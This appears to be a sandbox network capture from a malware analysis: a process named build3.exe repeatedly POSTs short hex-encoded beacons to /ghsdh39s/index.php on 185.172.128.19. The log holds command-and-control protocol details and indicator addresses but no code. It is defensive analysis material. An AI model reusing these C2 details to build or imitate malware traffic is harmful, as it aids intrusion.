Dec 20, 2023 15:36:36.765916109 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:36.768774033 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:37.066411018 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49873	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:37.462763071 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:37.754698038 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:37.757632971 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:38.052556038 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49875	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:38.475596905 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:38.767801046 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:38.770694017 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:39.068855047 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49876	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:39.489547968 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:39.789680004 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:39.792603970 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:40.106174946 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49878	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:41.725071907 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:42.022768021 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49879	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:42.327722073 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:42.647495031 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49880	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:43.062921047 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:43.360445976 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49881	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:43.669176102 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:43.968646049 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49883	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:44.378619909 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:44.688541889 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49884	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:45.003422976 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:45.297768116 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49885	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:45.707953930 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:46.009223938 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49886	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:46.306483984 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:46.601417065 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49887	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:47.011403084 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:47.303805113 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49889	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:47.609277964 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:47.914791107 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49890	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:48.323035002 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:48.614892960 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49891	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:48.911670923 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:49.206556082 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49892	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:49.619911909 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:49.909023046 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49893	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:50.200891018 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:50.502346039 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49894	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:50.898303986 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:51.186117887 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49895	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:52.511104107 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:52.811135054 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49896	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:53.209008932 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:53.511253119 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
